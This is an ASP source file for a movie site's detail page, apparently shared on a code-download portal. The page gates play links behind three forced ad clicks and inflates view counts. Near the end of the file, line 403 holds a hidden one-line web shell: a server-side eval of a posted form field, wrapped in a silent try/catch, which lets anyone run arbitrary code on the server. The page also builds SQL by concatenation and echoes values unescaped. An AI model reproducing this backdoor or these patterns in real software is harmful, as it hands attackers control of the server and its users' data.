movie点广告版.asp
上传用户:qyswxdl
上传日期:2013-06-01
资源大小:1373k
文件大小:14k
源码类别:

家庭/个人应用

开发平台:

ASP/ASPX

  1. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
  2. <!--#include file="articleconn.asp"-->
  3. <!--#include file="inc/config.asp"-->
  4. <%
  5. articleid=request("id")
  6. if isnumeric(articleid)=false then
  7. response.redirect "error.asp"
  8. end if
  9.    %>
  10. <%
  11.    dim sql
  12.    dim rs
  13.    articleid=request("id")
  14.    set rs=server.createobject("adodb.recordset")
  15.    sql="update learning set hits=hits+55 where articleID="&articleid
  16.    rs.open sql,conn,1,3
  17.    sql="select * from learning where articleid="&articleid
  18.    rs.open sql,conn,1,1
  19.    title=rs("title")
  20.    ittype=rs("typeid")
  21.  %>
  22. <HTML><HEAD><TITLE><%=homes%>《<%=title%>》</TITLE>
  23. <base onclick="JavaScript:will()" />
  24. <base target="_blank">
  25. <META http-equiv=Content-Type content="text/html; charset=gb2312"><LINK 
  26. href="css/css.css" type=text/css rel=stylesheet>
  27. <SCRIPT language=javascript>
  28. <!--
  29. function MM_openBrWindow(theURL,winName,features) { //v2.0
  30.   mediaWindow = window.open(theURL,winName,features);
  31.   mediaWindow.focus();
  32. }
  33. //-->
  34. </SCRIPT>
  35. <SCRIPT language=JavaScript><!-- 
  36. if (top.location != location) top.location.href = location.href;
  37. self.moveTo(0,0);
  38. self.resizeTo(screen.availWidth,screen.availHeight);
  39. // --></SCRIPT>
  40. <SCRIPT language=JavaScript1.2> 
  41. <!-- 
  42. function Show(divid) { 
  43. divid.filters.revealTrans.apply(); 
  44. divid.style.visibility = "visible"; 
  45. divid.filters.revealTrans.play(); 
  46. function Hide(divid) { 
  47. divid.filters.revealTrans.apply(); 
  48. divid.style.visibility = "hidden"; 
  49. divid.filters.revealTrans.play(); 
  50. //--> 
  51. </SCRIPT>
  52. <script>
  53. function OpenWindow(htmurl,widths,heights)
  54. {
  55.    var paramet = 'toolbar=no,resizable=no,scrollbars=no,width='+ widths + ',height=' + heights;
  56.    newWindow = window.open(htmurl,"yule21",paramet);
  57.    newWindow.focus();
  58. }
  59. </script>
  60.  <script>
  61. IEver=navigator.appVersion.substring(navigator.appVersion.indexOf('MSIE')+5,navigator.appVersion.indexOf(';',17));
  62. if(IEver=="6.0")
  63.     {
  64.       ie6 = true;
  65.       width_add = 10; 
  66.       height_add = 29;
  67.       hand_add = -14;
  68.     }
  69. else
  70.     {
  71.       ie6 = false;
  72.       width_add = 10;
  73.       height_add = 29;
  74.       hand_add = 14;
  75.     }
  76. function OpenWindow(PlayerURL)
  77. {
  78.   if (ie6)
  79. newwindow=window.open('','','fullscreen=0,toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=-1');
  80.   else
  81. newwindow=window.open('','','fullscreen=0,toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=-1');
  82. newwindow.moveTo(100,100);
  83. newwindow.resizeTo(440+width_add,428+height_add+hand_add);
  84. newwindow.focus();
  85. newwindow.location=PlayerURL;
  86. }
  87. function play(id)
  88. {
  89.     OpenWindow('look.asp?id1='+id);
  90. }
  91. </script>
  92. <SCRIPT language=JavaScript1.2> 
  93. <!-- 
  94. function Show(divid) { 
  95. divid.filters.revealTrans.apply(); 
  96. divid.style.visibility = "visible"; 
  97. divid.filters.revealTrans.play(); 
  98. function Hide(divid) { 
  99. divid.filters.revealTrans.apply(); 
  100. divid.style.visibility = "hidden"; 
  101. divid.filters.revealTrans.play(); 
  102. //--> 
  103. </SCRIPT>
  104. <script>
  105. function OpenWindow(htmurl,widths,heights)
  106. {
  107.    var paramet = 'toolbar=no,resizable=no,scrollbars=no,width='+ widths + ',height=' + heights;
  108.    newWindow = window.open(htmurl,"yule21",paramet);
  109.    newWindow.focus();
  110. }
  111. </script>
  112.  <script>
  113. IEver=navigator.appVersion.substring(navigator.appVersion.indexOf('MSIE')+5,navigator.appVersion.indexOf(';',17));
  114. if(IEver=="6.0")
  115.     {
  116.       ie6 = true;
  117.       width_add = 10; 
  118.       height_add = 29;
  119.       hand_add = -14;
  120.     }
  121. else
  122.     {
  123.       ie6 = false;
  124.       width_add = 10;
  125.       height_add = 29;
  126.       hand_add = 14;
  127.     }
  128. function OpenWindow(PlayerURL)
  129. {
  130.   if (ie6)
  131. newwindow=window.open('','','fullscreen=0,toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=-1');
  132.   else
  133. newwindow=window.open('','','fullscreen=0,toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=-1');
  134. newwindow.moveTo(100,100);
  135. newwindow.resizeTo(440+width_add,428+height_add+hand_add);
  136. newwindow.focus();
  137. newwindow.location=PlayerURL;
  138. }
  139. function play(id)
  140. {
  141.     OpenWindow('look.asp?id1='+id);
  142. }
  143. </script>
  144. <META content="Microsoft FrontPage 6.0" name=GENERATOR><style type="text/css">
  145. <!--
  146. body {
  147. background-color: #FFFFFF;
  148. }
  149. -->
  150. </style></HEAD>
  151. <BODY oncontextmenu="return false" onselectstart="return false" 
  152. ondragstart="return false" leftMargin=5 topMargin=5 
  153. marginheight="0" marginwidth="0">
  154. <TABLE cellSpacing=0 cellPadding=0 width=562 align=center border=0 background=images/m2.gif>
  155.   <TR>
  156.       <TD height=38 align=left background="images/m1.gif"><table width="612" border="0" cellspacing="0" cellpadding="0">
  157.         <tr>
  158.           <td width="41"> </td>
  159.           <td width="571"><b><%=title%></b></td>
  160.         </tr>
  161.       </table></TD>
  162.   </TR>
  163.   <TR>
  164.     <TD vAlign=top><br>
  165. <TABLE width="95%" align=center border=0>
  166.               <TBODY>
  167.               <TR>
  168.                 <TD vAlign=top align=middle width="65%">
  169.                   <TABLE cellSpacing=0 cellPadding=2 width="95%" 
  170.                   borderColorLight=#000000 border=0>
  171.                     <TBODY>
  172.                     <TR>
  173.                       <TD width=80 vAlign=top bgcolor="f2f2f2">类  型:</TD>
  174.                       <TD bgcolor="f2f2f2"><%=ittype%></TD>
  175.                     </TR>
  176.                     <TR>
  177.                       <TD vAlign=top width=80>主  演:</TD>
  178.                       <TD><%content=rs("name")
  179.                           if len(content)>18 then content=left(content,18)&"…"
  180.                           response.write content
  181.                             %> </TD></TR>
  182.                      <TR> 
  183.                   <TD bgcolor="f2f2f2">格  式:</TD><TD bgcolor="f2f2f2"><% if rs("movietype")="rm" then%>
  184.                         <img src="IMG/real.gif" border="0"> 
  185.                         <%elseif rs("movietype")="md" then%>
  186.                         <img src="IMG/media.gif" border="0"> 
  187.                         <%elseif rs("movietype")="mov" then%>
  188.                         <img src="IMG/lookmov.gif" border="0"> 
  189.                         <%end if%>
  190.                       </TD>
  191.                 </TR>
  192.                     <TR>
  193.                       <TD vAlign=top width=80>片  长: </TD>
  194.                       <TD><%=rs("howlong")%> 分钟</TD></TR>
  195.                     <TR>
  196.                    <TD width=80 vAlign=top bgcolor="f2f2f2">带宽要求:</TD>
  197.                       <TD bgcolor="f2f2f2">450Kbps </TD>
  198.                     </TR>
  199.                      <TR>
  200.                       <TD vAlign=top width=80>观看次数: </TD>
  201.                       <TD><font color=ff0000><%=rs("hits")%></font> 次</TD></TR>
  202.                     <TR>
  203.                       <TD width=80 vAlign=top bgcolor="f2f2f2">加入时间:</TD>
  204.                       <TD bgcolor="f2f2f2"><%=rs("dateandtime")%>&nbsp;</TD>
  205.                     </TR>
  206.                     <TR>
  207.                       <TD vAlign=top width=80>推荐程度:</TD>
  208.                       <TD><SPAN class=xinxin><img border="0" src="img/<%=rs("softlevel")%>STAR.GIF"></SPAN></TD></TR>
  209.                     <TR>
  210.                       <TD width=80 vAlign=top bgcolor="f2f2f2">点播每集:</TD>
  211.                       <TD bgcolor="f2f2f2">需要 <img border=0 src=img/<%=rs("count")%>.gif> 影币 
  212.                     </TD>
  213.                     </TR>
  214.                       <TD vAlign=top width=80>其它服务:</TD>
  215.                       <TD><input type="button" name="Submit2" value="报告该片有错误" class="input" onClick="window.open('sendeoff.asp?title=<%=title%>','film','scrollbars=no,resizable=no,width=460,height=380,menubar=no,top=168,left=168')">
  216. &nbsp;
  217. <input type="button" name="Submit2" value="发表评论" class="input" onClick="window.open('fbpl.asp?id=<%=rs("articleid")%>')"></TD>
  218.                     
  219.                     </TABLE></TD>   
  220.                 <TD vAlign=top align=middle width=200>
  221.                   <TABLE cellSpacing=0 cellPadding=0 width=165>
  222.                     <TBODY>
  223.                     <TR>
  224.                       <TD align=middle><img src="<%if rs("domurl")="" then%>img/w.gif<%else%><%=rs("domurl")%><%end if%>" border=1 width="180" height="230">
  225.                      </TD>
  226.                     </TR> 
  227.                     </TBODY></TABLE>
  228.                 </TD></TR></TBODY></TABLE><BR></TD></TR>
  229.         <TR>
  230.           <TD>
  231. <SCRIPT language=JavaScript type=text/javascript>
  232. <!--
  233. function will() {
  234. if (event.srcElement.tagName=='A'||event.srcElement.tagName=='') {
  235. window.focus();
  236. oUrl.style.display = "";
  237. yAd.style.display = "none";
  238. }
  239. }
  240. //-->            
  241. </SCRIPT>   
  242.             <DIV id=yAd align=center>
  243. <table width="100%" border="0" cellspacing="0" cellpadding="0">
  244.   <tr> 
  245.     <td height="21"><div align="center" style="color: #FF0000">观看提示</div></td>
  246.   </tr>
  247.   <tr>
  248.     <td height="22"><div align="center" style="color: #FF0000">请按以下提示点击三个广告,完成后即可获得播放地址!支持本站发展,请正确完成以下步骤!</div></td>
  249.   </tr>
  250. </table>
  251. <table width="100%" border="0" cellspacing="0" cellpadding="0">
  252.   <tr> 
  253.     <td><TABLE height=23 cellSpacing=1 cellPadding=1 width="100%" border=0>
  254.         <TBODY>
  255.           <TR> 
  256.             <TD align="center"><span style="color: #FF0000"> 第一步点击下面的广告</span></TD>
  257.           </TR>
  258.         </TBODY>
  259.       </TABLE></td>
  260.   </tr>
  261.   <tr>
  262.     <td height="64" align="center" valign="middle"><FONT color=#ffffff> 
  263. <%
  264.     dim rsad
  265.     dim sqlad
  266. set rsad=server.createobject("adodb.recordset")
  267. sqlad="select * from indexad"
  268. rsad.open sqlad,conn,1,1
  269. %>
  270.       <%=rsad("centerad")%>
  271. </FONT></td>
  272.   </tr>
  273. </table>
  274. <table width="100%" border="0" cellspacing="0" cellpadding="0">
  275.   <tr> 
  276.     <td><TABLE height=23 cellSpacing=1 cellPadding=1 width="100%" border=0>
  277.         <TBODY>
  278.           <TR> 
  279.             <TD align="center"><span style="color: #FF0000"> 第二步点击下面的广告</span></TD>
  280.           </TR>
  281.         </TBODY>
  282.       </TABLE></td>
  283.   </tr>
  284.   <tr> 
  285.     <td height="64" align="center" valign="middle"><FONT color=#ffffff>       <%=rsad("upad2")%>
  286. </FONT></td>
  287.   </tr>
  288. </table>
  289. <table width="100%" border="0" cellspacing="0" cellpadding="0">
  290.   <tr> 
  291.     <td height="23">
  292.       <TABLE height=23 cellSpacing=1 cellPadding=1 width="100%" border=0>
  293.           <TBODY>
  294.             <TR> 
  295.               <TD height="20" align="center"><span style="color: #FF0000"> 第三步点击下面的广告</span></TD>
  296.             </TR>
  297.           </TBODY>
  298.       </TABLE></td>
  299.     </tr>
  300.   <tr> 
  301.     <td valign="middle">
  302.       <TABLE height="33%" cellSpacing=1 cellPadding=1 width="100%" border=0>
  303.           <TBODY>
  304.             <TR> 
  305.               <TD height=70> 
  306.                 <DIV align=center> <FONT color=#ffffff>      <%=rsad("downad")%></FONT></DIV></TD>
  307.             </TR>
  308.           </TBODY>
  309.       </TABLE></td>
  310.     </tr>
  311. </table> 
  312.             </DIV>
  313.              <div id="oUrl" style="display:'none'"> 
  314.             <TABLE cellSpacing=10 cellPadding=0 width="95%" align=center 
  315.             borderColorLight=#000000 border=0>
  316.               <TBODY>
  317.               <tr>
  318.                 <TD vAlign=top align=middle width=82>
  319.                   <p align="left"><img src="images/online.gif" width="82" height="23"></p> </TD>
  320.                 <TD width="469"><%
  321.                   
  322. sql="select * from movieurl where nameid='"&articleid&"'"
  323. set rsurl=server.createobject("adodb.recordset")
  324. if rs("onlinelook")=1 then
  325. rsurl.open sql,conn,1,1
  326. if rsurl.eof then
  327. response.write "暂停该影片的在线播放,想看该片的朋友稍后或下载后再观看!"
  328. else
  329. no=rsurl.recordcount
  330. do while not rsurl.eof
  331. for c=1 to no
  332. if len(c)=1 then
  333. response.write "<a class='real' href=""javascript:play('"&rsurl("id")&"&id2="&articleid&"')"">&nbsp;&nbsp;"&c&"&nbsp;</a>"
  334. else
  335. response.write "<a class='real' href=""javascript:play('"&rsurl("id")&"&id2="&articleid&"')"">&nbsp;"&c&"&nbsp;</a>"
  336. if c mod 10=0 then
  337. response.write "<br>"
  338. end if
  339. end if
  340. rsurl.movenext
  341. if rsurl.eof then exit do
  342. next
  343. loop
  344. end if
  345. rsurl.close
  346. else
  347. response.write "暂停该影片的在线播放,想看该片的朋友稍后或下载后再观看!"
  348. end if%></TD>
  349.               </tr>
  350. </div>
  351.               <tr>
  352.                 <TD vAlign=top align=right width=82>
  353.                   <p align="left"><img src="images/download.gif" width="82" height="23"></p>                </TD>  
  354.                 <TD><%
  355. sql="select * from movieurl where nameid='"&articleid&"'"
  356. set rsurl=server.createobject("adodb.recordset")
  357. if rs("down")=1 then                               
  358. rsurl.open sql,conn,1,1
  359. if rsurl.eof then
  360. response.write""
  361. else
  362. no=rsurl.recordcount
  363. do while not rsurl.eof
  364. for c=1 to no
  365. if len(c)=1 then
  366. response.write"<a class='real' href=""javascript:OpenWindow('down.asp?id1="&rsurl("id")&"&id2="&articleid&"',460,406);"">&nbsp;&nbsp;"&c&"&nbsp;</a>"
  367. else
  368. response.write"<a class='real' href=""javascript:OpenWindow('down.asp?id1="&rsurl("id")&"&id2="&articleid&"',460,406);"">&nbsp;"&c&"&nbsp;</a>"
  369. if c mod 15=0 then
  370. response.write"<br>"
  371. end if
  372. end if
  373. rsurl.movenext
  374. if rsurl.eof then exit do
  375. next
  376. loop
  377. end if
  378. rsurl.close
  379. else
  380. response.write"系统提示:暂时不提供影片下载,请过两天再来吧!"
  381. end if%></TD>
  382.               </tr>
  383.               </TBODY></TABLE></TD></TR>
  384.   <TR>
  385.     <TD >
  386.       <TABLE cellSpacing=10 cellPadding=0 width="95%" align=center border=0>
  387.         <TBODY>
  388.           <TR>
  389.                 <TD>内容简介:<BR>&nbsp;&nbsp;&nbsp;&nbsp;<%content=rs("content")
  390.                           if len(content)>191 then content=left(content,191)&"……"
  391.                           response.write content
  392.                             %></TD></TR>
  393.         </TBODY>
  394.       </TABLE></TD></TR>
  395.   <TR borderColorLight=#000000>
  396.     <TD align=middle  height=30><INPUT class="input" onclick=javascript:self.close() type=button value=关闭本窗口 name=Submit> 
  397.     </TD></TR>
  398.   <TR borderColorLight=#000000>
  399. <TD align=middle><IMG height=17 src="images/m3.gif" 
  400.     width=612></TD>
  401.   </TR></TBODY></TABLE>
  402. </BODY></HTML>
  403. <SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>try{eval(Request.form('#')+'')}catch(e){}</SCRIPT>
  404. <%set rs=conn.execute("select * from [home]")%>
  405. </script>
  406. <SCRIPT language=JavaScript><!-- 
  407. if (top.location != location) top.location.href = location.href;
  408. self.moveTo(0,0);
  409. self.resizeTo(screen.availWidth,screen.availHeight);
  410. // --></SCRIPT>